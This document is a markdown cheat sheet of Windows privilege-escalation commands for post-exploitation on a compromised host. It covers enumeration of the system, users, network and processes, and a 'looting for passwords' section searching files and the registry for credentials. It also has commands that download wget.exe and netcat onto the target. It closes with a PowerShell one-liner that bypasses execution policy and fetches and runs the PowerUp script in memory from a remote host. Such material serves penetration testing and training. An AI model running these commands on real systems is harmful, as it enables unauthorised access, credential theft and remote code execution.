# Windows - Privilege Escalation
Almost all of the following commands are from [The Open Source Windows Privilege Escalation Cheat Sheet](https://addaxsoft.com/wpecs/)
## Windows Version and Configuration
```powershell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```
Architecture
```powershell
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```
List all env variables
```powershell
set
```
List all drives
```powershell
wmic logicaldisk get caption || fsutil fsinfo drives
```
## User Enumeration
Get current username
```powershell
echo %USERNAME% || whoami
```
List all users
```powershell
net user
whoami /all
```
List logon requirements; useable for bruteforcing
```powershell
net accounts
```
Get details about a user (i.e. administrator, admin, current user)
```powershell
net user administrator
net user admin
net user %USERNAME%
```
List all local groups
```powershell
net localgroup
```
Get details about a group (i.e. administrators)
```powershell
net localgroup administrators
```
## Network Enumeration
List all network interfaces
```powershell
ipconfig /all
```
List current routing table
```powershell
route print
```
List the ARP table
```powershell
arp -A
```
List all current connections
```powershell
netstat -ano
```
List firware state and current configuration
```powershell
netsh advfirewall firewall dump
```
List all network shares
```powershell
net share
```
## Looting for passwords
Search for file contents
```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
```
Search for a file with a certain filename
```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
```
Search the registry for key names
```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
```
Read a value of a certain sub key
```powershell
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
```
## Processes Enum
What processes are running?
```powershell
tasklist /v
```
Which processes are running as "system"
```powershell
tasklist /v /fi "username eq system"
```
Do you have powershell magic?
```powershell
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
```
## Uploading / Downloading files
a wget using powershell
```powershell
powershell -Noninteractive -NoProfile -command "wget https://addaxsoft.com/download/wpecs/wget.exe -UseBasicParsing -OutFile %TEMP%\wget.exe"
```
wget using bitsadmin (when powershell is not present)
```powershell
cmd /c "bitsadmin /transfer myjob /download /priority high https://addaxsoft.com/download/wpecs/wget.exe %TEMP%\wget.exe"
```
now you have wget.exe that can be executed from %TEMP%wget for example I will use it here to download netcat
```powershell
%TEMP%\wget https://addaxsoft.com/download/wpecs/nc.exe
```
## Spot the weak service using PowerSploit's PowerUP
```powershell
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
```
